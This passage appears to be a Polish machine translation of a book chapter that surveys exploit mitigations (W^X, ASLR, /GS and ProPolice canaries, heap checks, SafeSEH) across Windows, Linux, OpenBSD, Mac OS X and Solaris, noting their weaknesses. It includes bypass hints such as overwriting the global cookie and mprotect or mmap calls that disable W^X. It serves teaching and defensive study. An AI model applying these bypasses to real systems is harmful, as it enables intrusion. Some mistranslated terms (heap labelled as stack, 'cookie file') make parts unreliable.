* Do systemu Windows Vista Beta 2 losowe biblioteki były ładowane w stałej odległości od siebie, ale to się zmieniło, gdy w końcu wypuszczono system Vista, a teraz adresy ładowania bibliotek DLL i EXE są wybierane niezależnie. Wyniki empiryczne wykazały, że gdy wiele procesów korzysta z tej samej biblioteki DLL, jej adres ładowania jest taki sam dla wszystkich instancji.

Ochrona danych stosu

* Od systemu Windows XP SP2 wszystkie pliki binarne systemu Windows są kompilowane z wersją programu Visual Studio obsługującą przełącznik /GS. Inne pakiety firmy Microsoft mogą być również skompilowane z włączoną tą opcją.

* W programie Visual Studio 2005 wprowadzono kilka nowych funkcji ochrony /GS; następnie ochrona obejmuje:

- Losowy kanarek (lub ciasteczko)

- Wskaźnik ramki i inne rejestry chronione przez kanarek

- Lokalne tablice bajtów przeniesiono na koniec ramki stosu

- Lokalne zmienne wskaźnika zostały przeniesione na początek ramki

- Podatne argumenty skopiowane do zmiennych lokalnych, a następnie uporządkowane

* Ochrona /GS nie jest włączona w każdej funkcji ani dla każdego

argument. Może wystąpić problem z logiką decydującą o tym, co chronić.

* Niektóre konstrukcje są z natury niechronione tą technologią bez znaczących zmian, jak wyjaśniono w części „Idealny układ stosu” we wcześniejszej części tego rozdziału.

* Struktury obsługi wyjątków są umieszczane w stosie. Często można pominąć sprawdzanie plików cookie, uszkadzając EXCEPTION_REGISTRATION_RECORD wywołującego i generując wyjątek.

* Do systemu Windows Vista plik cookie był przechowywany w lokalizacji ustalonej dla każdej aplikacji lub biblioteki. W systemie Windows Vista nadal tak jest, chyba że aplikacja lub biblioteka są ładowane pod losowym adresem. Zmiana globalnego pliku cookie na znaną wartość może być opcją pominięcia sprawdzania pliku cookie.

* W niektórych przypadkach plik cookie może nie być losowy. Godnym uwagi przykładem była luka MS06-040.

* W systemie Windows 2003 SP0 zagrożona biblioteka DLL została skompilowana za pomocą /GS. Ponieważ luka umożliwiła atakującemu zapisanie w dowolnym miejscu pamięci, wkrótce ujawniono publiczny exploit nadpisujący globalną wartość pliku cookie . Jednak nasze testy wykazały, że w rzeczywistości to globalne ciasteczko wcale nie było losowe, ponieważ procedura inicjowania nigdy nie została wywołana (a ponadto nie zawierała żadnych nieprawidłowych znaków, ponieważ była to 0xbb40e64e).

Ochrona stosu

* Począwszy od systemu Windows XP z dodatkiem SP2 zostało włączone bezpieczne odłączanie, ale sprawdzane jest tylko wtedy, gdy blok jest usuwany z podwójnie połączonej listy wolnych bloków. Jeśli

sprawdzanie bezpiecznego odłączenia nie powiedzie się, nie zostanie zgłoszony żaden wyjątek, a aplikacja będzie kontynuowała pracę z połowiczną uszkodzoną stertą.

* W systemie Windows XP SP2 8-bitowy losowy plik cookie został dodany do nagłówka porcji sterty. W systemie Windows XP z dodatkiem SP2 jeśli sprawdzenie plików cookie nie powiedzie się, nie zostanie zgłoszony żaden wyjątek, a osoba atakująca ma szansę kontynuować próbę.

* Plik cookie jest przechowywany w środku nagłówka, pozostawiając pierwsze pola struktury HEAP_ENTRY niezabezpieczone, co może zostać wykorzystane w ataku.

* Do czasu wprowadzenia systemu Windows Vista możliwe były ataki znane jako nadpisywanie typu chunk-onlookaside i przynoszą dobre rezultaty.

* System Windows Vista zastąpił listy lookaside stosem o niskiej fragmentacji, odcinając technikę nadpisywania fragmentów typu „chunk-on-lookaside" u samych podstaw.

* W systemie Windows Vista losowy plik cookie został zastąpiony losowym kodowaniem, które jest kopiowane do nagłówka wszystkich porcji sterty. Istnieje kod, który przerywa działanie aplikacji, jeśli sprawdzenie się nie powiedzie, ale nie jest jasne, kiedy jest używany.

* Przepełnienie bufora w bloku sterty może służyć do uszkodzenia sąsiednich bloków zawierających dane aplikacji. Ponieważ C++ jest bardzo powszechny w systemie Windows, możesz spodziewać się znalezienia odpowiednich wskaźników klas w znacznej liczbie aplikacji. Zainwestowanie trochę czasu w naukę kontrolowania wzorca alokacji pamięci przyniesie w większości przypadków dobre wyniki.

Ochrona SEH

Inne

* RtlEncodePointer() i RtlEncodeSystemPointer() są dostępne dla użytkownika do kodowania wskaźników funkcji (i wszelkich innych wrażliwych wskaźników). Sugerujemy używanie tylko RtlEncodePointer(), ponieważ obszar przechowywania losowego klucza znajduje się w bezpieczniejszym obszarze pamięci niż ten dla RtlEncodeSystemPointer().

* Implementacja SafeSEH w systemie Windows Vista używa RtlEncodeSystemPointer() zamiast RtlEncodePointer(), co może prowadzić do pewnych słabości, zwłaszcza w przypadku lokalnych exploitów, chyba że bezpieczeństwo mechanizmu nie zależy od zakodowanych wskaźników (w takim przypadku musi być inny powód do kodowania wskaźników).

* Bardzo dobrze znane i często używane wskaźniki do funkcji PEBLockRoutine i PEBUnlockRoutine przechowywane w PEB nie istnieją już w systemie Windows Vista. Zostały po prostu usunięte i teraz RtlEnterCriticalSection() i RtlLeaveCriticalSection() są

zamiast tego wywoływana jest bezpośrednio.

* Pamięć jądra, używana przez sterowniki urządzeń i samo jądro, jest chroniona przy użyciu W^X od wersji Windows XP SP2. W wersjach 32-bitowych nx-stack jest zawsze włączony i najwyraźniej nie można go wyłączyć. W wersjach 64-bitowych stos, pula stronicowana i pula sesji są oznaczone jako niewykonywalne, zgodnie z dokumentacją Microsoft.

Linux

Przy tak wielu dostępnych dystrybucjach bardzo trudno jest uzyskać pełny obraz istniejących mechanizmów ochrony. Ta sekcja próbuje podsumować, co jest obecne w kilku popularniejszych

dystrybucjach. W każdym przypadku sekcja trzyma się instalacji domyślnych, ponieważ w przeciwnym razie kombinacje byłyby niemożliwe do zarządzania.

W^X

* Fedora Core Linux, od wersji 2, zawiera ExecShield, który ma W^X w większości sekcji danych. To samo dotyczy odpowiednich wersji Red Hat Enterprise Linux.

* Od wersji 3 Fedory Core Linux, istnieją sekcje W+X zmapowane we wszystkich aplikacjach jako część libc.

* ExecShield, w niektórych (domyślnych) 32-bitowych wersjach jądra, używa segmentacji jako podstawowego mechanizmu dla W^X i może być całkowicie dezaktywowany za pomocą trików podobnych do tych z OpenBSD, na przykład mapowania strony wykonywalnej na górze— mmap(0xbffff000, 0x1000, 7, 0x32, xxxxx, 0) - lub zmiana zabezpieczeń dla istniejącej strony za pomocą mprotect().

* Pamięć W+X można zażądać z systemu operacyjnego za pomocą mmap().

* Mandriva Linux w wersji 2007.0 nie ma żadnych zabezpieczeń W^X, przynajmniej domyślnie włączonych. Jednak w naszych laboratoriach testowych Mandriva Linux w wersji 2006.0 ma włączoną opcję W^X w większości sekcji.

* Ubuntu 6.10 dla komputerów stacjonarnych i starszych nie ma domyślnie włączonej ochrony W^X; jednak wersja serwerowa ma nx-stack.

* Domyślna implementacja Ubuntu jest oparta na funkcjach NX/PAE nowoczesnych procesorów.

* Wyłączenie stosu nx w Ubuntu nie jest tak proste, jak w przypadku implementacji opartych na segmentacji: mprotect() musi być zastosowany specjalnie do właściwej strony pamięci i tylko ta strona zostanie naruszona.

* Strony W+X można mapować w Ubuntu za pomocą mmap(), więc można również użyć kodu mmap-strcpy-code.

* OpenSUSE w wersji 10.1 nie zawiera żadnych domyślnie włączonych zabezpieczeń W^X. To samo dotyczy starszych wersji SuSE 9.1 i 9.0.

* Chociaż tak naprawdę nie ma czegoś takiego jak domyślna instalacja Gentoo, nie będzie ona miała żadnego W^X, chyba że specjalnie skonfigurujesz grsecurity lub PaX z gentoo-hardened. Po włączeniu, jak już powiedziano, nie ma możliwości uzyskania W+X lub X po pamięci W na PaX.

ASLR

* Każdy proces w Fedorze Core 6 ma domyślnie 14 bitów randomizacji sterty z maską 0x03fff000 i 20 bitów randomizacji stosu z maską 0x00fffff0.

* W Fedorze Core biblioteki mogą być prelinkowane przy użyciu narzędzia zwanego prelink. W rezultacie ich adres ładowania będzie się zmieniać za każdym razem, gdy wykonywane jest prelink. prelink jest uruchamiany domyślnie co dwa tygodnie (przez skrypt crontab). Warto zauważyć, że adresy najprawdopodobniej będą się różnić w zależności od systemu.

* Jeśli prelink nie jest używany, randomizacja ExecShield jest również stosowana do bibliotek. Wynikiem jest randomizacja 10-bitowa z maską 0x003ff000.

* prelink ładuje biblioteki pod tym samym adresem dla każdego procesu. Wyciek informacji w jednym procesie może wskazywać, gdzie biblioteki są ładowane w innym procesie. Ponieważ opcja -R jest używana domyślnie w prelinku, adres bazowy każdej biblioteki jest wybierany niezależnie, chociaż kolejność mapowania bibliotek w pamięci jest nadal utrzymywana.

* Od Fedory Core 4 sekcja [vdso] jest losowo mapowana za każdym razem, gdy program się uruchamia i jest oznaczona jako niewykonalna. Do Fedory Core 3 był zawsze mapowany na 0xffffe000 i wykonywalny.

* prelink ładuje biblioteki w AAAS.

* Fedora Core ma kilka „krytycznych" plików binarnych skompilowanych jako PIE (Position Independent Executables), które są ładowane pod losowymi adresami, co utrudnia przeprowadzanie ataków ret2text. Pozostałe pliki binarne są ładowane w stałych znanych lokalizacjach (głównie 0x8048000) .

* Mandriva Linux w wersji 2007.0 ma 20 bitów randomizacji adresów stosu w masce 0x00fffff0. Sterta nie jest randomizowana, a adresy ładowania bibliotek mają 10 bitów randomizacji z maską 0x003ff000.

* Mandriva Linux w wersji 2007.0 ładuje biblioteki pod wysokimi adresami, poza AAAS.

* Wersja Mandriva Linux 2007.0 mapuje sekcję [vdso] zawsze na 0xffffe000.

* Pulpit i serwer Ubuntu 6.10 mają te same cechy, co Mandriva.

* OpenSUSE 10.1 ma te same funkcje co Mandriva i Ubuntu. Wszystkie te funkcje są częścią ExecShield, obecnie częścią głównych jąder Linuksa.

* Domyślne instalacje Gentoo mają również te same parametry randomizacji, co poprzednie trzy, z dodatkiem randomized [vdso]. Jeśli gentoo-hardened jest zainstalowane i włączone, algorytmy randomizacji PaX przejmą kontrolę i zapewnią znacznie lepszą ochronę.

* W przypadkach, gdy pliki binarne i/lub [vdso] znajdują się w stałej lokalizacji, wszystkie ret2text, niektóre ret2code i możliwe ataki ret2syscall mogą zostać wykonane przy ich użyciu.

Ochrona danych stosu

* Dopiero odkąd ProPolice został zaadoptowany przez GCC (w wersji 4.1), dystrybucje Linuksa zaczęły z niego korzystać. Dla Fedory Core jest to wersja 5, a dla Ubuntu wersja 6.10.

* Możesz dowiedzieć się, czy dana dystrybucja ma tę funkcję domyślnie włączoną, kompilując program w C ze wstępu tego rozdziału i używając objdump -d, aby sprawdzić, czy kompilator dodał sprawdzanie kanarkowe w prologu funkcji function().

* Kolejnym mechanizmem ochrony danych stosu zawartym w GCC 4.1 jest

FORTIFY_SOURCE, który dodaje sprawdzanie rozmiaru podatnych funkcji libc, gdy rozmiar buforów można określić w czasie kompilacji.

* Chociaż FORTIFY_SOURCE zostało właśnie zawarte w GCC 4.1, Fedora Core 3 zawiera już kilka skompilowanych z nim plików binarnych.

Ochrona stosu

* Zabezpieczenia sterty zostały po raz pierwszy wydane w glibc-2.3.4 i ulepszone po raz ostatni w glibc-2.3.5. Poniżej znajduje się lista wydań, w których wprowadzono te zabezpieczenia:

- Fedora Core 4

- Mandriva 2006,0

- Ubuntu 5.10

- OpenSUSE 10.1

- Gentoo 2004.3

* „Malloc Maleficarum” jest prawdopodobnie jedynym źródłem informacji na temat ataków na glibc za pomocą sprawdzania sterty.

* Bloki sterty są przydzielane jeden po drugim, bez celowej przerwy między nimi, więc nadpisywanie poufnych informacji w sąsiednich buforach sterty jest realną możliwością w systemie Linux. Jednak, ponieważ niewiele aplikacji jest napisanych w C++, nie jest tak łatwo znaleźć wskaźniki funkcji, które mogą ulec uszkodzeniu, jak na przykład w systemie Windows.

Inne

* PaX zawiera różne zabezpieczenia jądra, ale nie jest domyślnie instalowany w największych dystrybucjach Linuksa.

OpenBSD

Wszystkie poniższe informacje odpowiadają OpenBSD 4.1; większość funkcji istniała już w OpenBSD 3.8.

W^X

* Jest on domyślnie włączony dla wszystkich procesów i jest dostępny w większości obsługiwanych architektur (przynajmniej na Intel x86, sparc, sparc64, alpha, amd64 i hppa).

* W^X można wyłączyć jednym wywołaniem funkcji mprotect(0xcfbf????, x, 7).

* Pamięć W+X można zażądać z systemu operacyjnego za pomocą mmap().

* Żadna sekcja nie jest odwzorowana W+X w standardowych zastosowaniach.

* Połączony kod ret2code jest realną możliwością i właściwie całkiem nieskomplikowaną, ze względu na użycie konwencji wywoływania __stdcall.

ASLR

* Większość sekcji pamięci jest losowa, w tym stos, sterta i biblioteki.

* Główna sekcja kodu aplikacji i jej dane nie są losowe. Wszystkie warianty ret2text mogą być użyte w exploitie; jednak, ponieważ wszystkie pliki binarne są kompilowane przy użyciu ochrony danych stosu, kontrolowanie stosu w zakresie niezbędnym do przeprowadzenia ataku ret2text nie jest proste. W najbliższej przyszłości nie będzie losowy na Intel x86, ale może być na innych platformach.

* 16 bitów z najniższych 18 bitów adresów stosu jest losowych; użycie dużych poduszek może pomóc zmniejszyć efektywną zmienność.

* 20 wyższych bitów adresów ładowania bibliotek jest losowanych. Adres każdej biblioteki wybierany jest niezależnie.

* Wyniki empiryczne pokazują około 16 bitów randomizacji dla buforów sterty.

Ochrona danych stosu

* Od OpenBSD 3.4 wszystkie pliki binarne są kompilowane za pomocą ProPolice. Poniżej znajduje się podsumowanie mechanizmów wprowadzonych przez ProPolice w celu ochrony danych na stosie:

- Losowy kanarek

- Wskaźnik ramki i inne zapisane rejestry chronione przez canary

- Lokalne tablice bajtów przeniesiono na koniec ramki stosu

- Inne zmienne lokalne zostały przeniesione na początek ramki

- Wszystkie argumenty skopiowane do zmiennych lokalnych, a następnie ponownie uporządkowane

* Ochrona ProPolice nie jest włączona we wszystkich funkcjach. Mogą wystąpić problemy z logiką przy podejmowaniu decyzji, co chronić.

* Niektórych konstrukcji z natury nie da się chronić za pomocą tych technologii bez dużych zmian (jak wyjaśniono w sekcji „Idealny układ stosu" we wcześniejszej części rozdziału).

Ochrona stosu

* Bloki sterty są umieszczane na stronach pamięci żądanych z systemu operacyjnego za pomocą mmap(). Strona jest współdzielona tylko przez bloki o tym samym rozmiarze, a gdy pozostała przestrzeń nie wystarcza na cały blok, pozostaje niewykorzystana.

* Niezmapowana przestrzeń pamięci pozostaje pomiędzy obszarami zwracanymi przez różne wywołania funkcji mmap(), więc jest mało prawdopodobne, że przepełnienie bloku sterty uszkodzi wrażliwe dane w bloku sąsiednim.

* Bloki sterty większe niż pagesize/2 (2048 na Intel x86) są zawsze przechowywane na granicy strony. Na przykład w Intel x86 oznacza to, że ich adresy zawsze będą miały postać 0x?????000.

Inne

* Jądro jest kompilowane przy użyciu ProPolice od wersji 3.4.

* Niektóre typy W^X są dostępne w jądrze na niektórych platformach.

Mac OS X Istnieje tylko kilka różnic, jeśli chodzi o mechanizmy ochrony, między Mac OS X na procesorach PowerPC i Intel. Nawet niektóre adresy są wspólne.

W^X

* W procesorach Intel x86 tylko stos jest oznaczony jako niewykonywalny; cała reszta jest wykonywalna.

* W PowerPC wszystko jest oznaczone jako plik wykonywalny.

ASLR

* Nic nie jest losowe.

* Większość adresów jest nawet taka sama (lub podobna) między dwiema platformami, z wyjątkiem oczywistych różnic wprowadzanych przez kod każdej platformy.

* Niektóre sekcje, zwłaszcza sterta i główny plik binarny, znajdują się w AAAS.

Ochrona danych stosu

* Brak. W plikach binarnych systemu Mac OS X nie istnieje żaden kanarek ani zmiana kolejności.

Ochrona stosu

* Brak. Nie istnieją żadne bezpieczne czeki rozłączenia ani kanarki sterty.

* Bloki danych sterty są często alokowane jeden obok drugiego, bez pośredniczących struktur zarządzania stertą, więc istnieje możliwość przepełnienia poufnymi informacjami. To prawdopodobnie ułatwia wykorzystanie przepełnienia sterty specyficznej dla aplikacji. Z drugiej strony prawdopodobnie utrudnia to ogólną technikę przepełnienia sterty w systemie OS X.

Inne

Należy mieć na uwadze, że podczas atakowania systemu Mac OS X możesz korzystać z procesora Intel lub PowerPC i powinieneś zachować szczególną ostrożność, aby upewnić się, że Twój exploit działa na obu platformach. Można to osiągnąć albo tworząc kod wieloplatformowy, albo wykorzystując różnice w parametrach eksploatacyjnych (np. odległość od adresu zwrotnego w przepełnienie stosu).

Solaris

Solaris był jednym z pierwszych nowoczesnych systemów operacyjnych, które zaadoptowały nx-stack, ale obecnie jest to jedyny mechanizm ochrony dostępny wśród tych badanych w tym rozdziale. Możemy spodziewać się kolejnych dodatków w przyszłości, zwłaszcza pochodzących z grupy bezpieczeństwa OpenSolaris, ale nie ma na to dzisiaj żadnych wskazówek .

W^X

* Na sprzęcie Intel x86 Solaris 10 w ogóle nie obsługuje W^X.

* Na sprzęcie SPARC można tworzyć strony niewykonywalne.

* nx-stack jest domyślnie włączony dla 32-bitowych aplikacji suid i wyłączony dla wszystkich innych 32-bitowych aplikacji. Można go włączyć globalnie, zmieniając plik /etc/system.

* nx-stack jest domyślnie włączony dla każdej aplikacji 64-bitowej.

* Istnieją sekcje zmapowane W+X we wszystkich zastosowaniach.

* Sekcję pierwotnie oznaczoną jako W^X można przekształcić w W+X za pomocą funkcji mprotect().

* Połączony kod ret2code to realna możliwość, co zademonstrował John McDonald .

ASLR

* W ogóle nie ma randomizacji adresów.

* Biblioteki są ładowane pod wysokimi adresami z AAAS.

* Główny obraz aplikacji i sterta są mapowane w AAAS.

Ochrona danych stosu

* Brak. W plikach binarnych Solaris nie ma kanarku ani zmiany kolejności zawartości stosu.

Ochrona stosu

* Brak. W procedurach sterty dla systemu Solaris do wersji 10 nie ma bezpiecznego odłączania ani sprawdzania plików cookie.

Inne

Począwszy od Solarisa 10 istnieje kilka nowych funkcji bezpieczeństwa, które można wykorzystać do wzmocnienia systemu Solaris. Wszystkie są związane z sandboxingiem i ograniczonymi możliwościami: Process Rights Management i RBAC, Trusted Extensions i MAC oraz niesamowitymi możliwościami narzędzia DTrace, które nie tylko świetnie sprawdza się w debugowaniu, ale może być również wykorzystane do ograniczenia możliwości danego proces lub zestaw procesów.

Podsumowanie

Zoaczyłeś, jak różne mechanizmy ochrony sprawiają, że życie twórcy exploita jest jednocześnie bardziej interesujące i skomplikowane. Wszystkie przedstawione zabezpieczenia zawierają słabości, które okazały się wystarczające do ponownego odzyskania wykonywania kodu w chronionym systemie. Jednak stosowane razem, mechanizmy te mogą się łączyć, aby zapewnić znacznie większą ochronę niż tylko ich suma. Dopóki zabezpieczenia będą się rozwijać w oparciu o określone techniki eksploatacji, będą one zawsze pozostawać w tyle za najnowocześniejszymi rozwiązaniami, a atakujący będzie miał bardzo duże szanse na znalezienie sposobów ich obejścia. Oś czasu zabezpieczeń SEH firmy Microsoft jest dobrą demonstracją: exploity wykorzystywane do nadużywania rejestrów w celu wkomponowania się w kod, Microsoft wyzerował wszystkie rejestry, a następnie exploity zaczęły wskakiwać bezpośrednio na stos, zabraniając tego, więc exploity zaczęły używać pop-pop-ret jako trampolina, zaimplementowany przez Microsoft /SafeSEH i exploity są nadal możliwe, ale wymagają nowych technik. Wraz z wprowadzeniem systemu Windows Vista firma Microsoft zmieniła sposób implementacji /SafeSEH, a exploity nadal przetrwały (a czasami są nawet łatwiejsze do wykonania niż wcześniej). Z drugiej strony, dobrze przemyślane zabezpieczenia, takie jak W^X i ASLR, które teoretycznie mogą powstrzymać wstrzykiwanie obcego kodu i ponowne użycie kodu, muszą radzić sobie z konkurencyjnymi priorytetami szczegółów implementacji, kompatybilności wstecznej, standardów i degradacji wydajności. i jak dotąd nie jest jasne, kto wygra mecz. W tym wyścigu są również czynniki ekonomiczne — obecnie rosną białe, czarne i szare rynki dla możliwych do wykorzystania błędów i odpowiadających im nadużyć. Rządy, przestępcy i wielkie firmy podnoszą ceny za exploity i możliwe do wykorzystania luki, wprowadzając pieniądze na rynek, który staje się coraz bardziej wymagający i polityczny. W tym kontekście twórcy exploitów, kwestionowani przez mechanizmy ochrony, oczekiwania użytkowników i politykę władzy, są zmuszeni do studiowania i badania nowych technik eksploatacji, stając się bardziej wyspecjalizowani i poważni, tworząc ogromną ilość literatury, ale także oszczędzając bardziej zaawansowane sztuczki czerpać zyski i tłumić publiczną dyskusję. Krzywa uczenia się staje się coraz bardziej stroma i zaczyna się wyżej, podczas gdy „niepublikowana” wiedza w tej dziedzinie staje się bardziej solidna.

Pozostając przy aplikacjach binarnych, przez kilka lat będziesz widzieć luki w zabezpieczeniach i exploity, które można wykorzystać (te pierwsze nie mogą istnieć bez tych drugich), a ich ceny będą nadal rosły, ponieważ stają się rzadkie i mniej autorom exploitów udaje się przetrwać wyzwania. Jednocześnie zaczniesz widzieć coraz więcej ataków przenoszonych do mniej chronionych obszarów, takich jak inne systemy operacyjne, luki w jądrach, urządzenia wbudowane, urządzenia, sprzęt i aplikacje internetowe. To, gdzie te trendy się skończą, jest kwestią dyskusyjną – choć jest mało prawdopodobne, aby problem luk w zabezpieczeniach kodu arbitralnego kiedykolwiek został naprawdę rozwiązany. Mając na uwadze treść tego rozdziału, rozpoczęcie nauki tworzenia exploitów przy użyciu luki przepełnienia bufora opartej na stosie jako pierwszego ćwiczenia wydaje się niemal absurdalne, ale nie ma innej opcji: od tego zaczyna się krzywa uczenia się. Pełne zrozumienie

dzisiejszego stanu techniki w exploitach wymaga wiele wysiłku i poświęcenia, ale wciąż jest wiele do odkrycia. Zapnij pasy i ciesz się jazdą.